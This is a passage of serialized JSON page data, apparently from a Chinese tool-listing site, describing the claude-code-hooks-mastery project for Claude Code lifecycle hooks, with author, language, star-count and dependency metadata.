钩子实时拦截危险命令，仅在符合预设安全规则时才放行，彻底杜绝误删风险。\n- **全链路可观测性**：利用完整的 13 个生命周期钩子记录详细 JSON 载荷，开发者能精准追踪从 `UserPromptSubmit` 到 `PostToolUseFailure` 的每一步状态。\n- **团队化验证体系**：启用基于团队的验证系统与元代理编排，自动分配代码审查任务并确保所有输出经过一致性校验。\n- **智能上下文增强**：在 `UserPromptSubmit` 阶段自动注入项目架构文档与安全过滤规则，让 Claude 从一开始就遵循最佳实践。\n\nclaude-code-hooks-mastery 将原本不可控的 AI 黑盒操作转化为透明、安全且可编排的确定性工程流程。","https:\u002F\u002Foss.gittoolsai.com\u002Fimages\u002Fdisler_claude-code-hooks-mastery_ccef0354.png","disler","IndyDevDan","https:\u002F\u002Foss.gittoolsai.com\u002Favatars\u002Fdisler_796943fa.png","Betting the next 10 years of my career on AGENTIC software.\r\n\r\nJoin the journey on YT.",null,"https:\u002F\u002Fgithub.com\u002Fdisler",[79,83],{"name":80,"color":81,"percentage":82},"Python","#3572A5",82.8,{"name":84,"color":85,"percentage":86},"TypeScript","#3178c6",17.2,3489,595,"2026-04-07T21:52:40","Linux, macOS, Windows","未说明",{"notes":93,"python":94,"dependencies":95},"该工具是 Claude Code CLI 的钩子（Hooks）扩展，核心依赖为 Astral UV（Python 包管理器）和 Anthropic 官方的 Claude Code CLI。无需本地 GPU 运行大模型，但可选集成 ElevenLabs、OpenAI、Ollama 等外部 API 服务。项目采用 UV 单文件脚本架构，依赖自动管理，无需手动创建虚拟环境。需配置相关 API Key 以使用语音合成（TTS）或外部模型功能。","3.8+ (需支持 Astral UV)",[96,97,98,99],"uv","claude-code","elevenlabs-mcp (可选)","firecrawl-mcp (可选)",[35,13,52],"2026-03-27T02:49:30.150509","2026-04-08T14:45:45.921210",[],[]]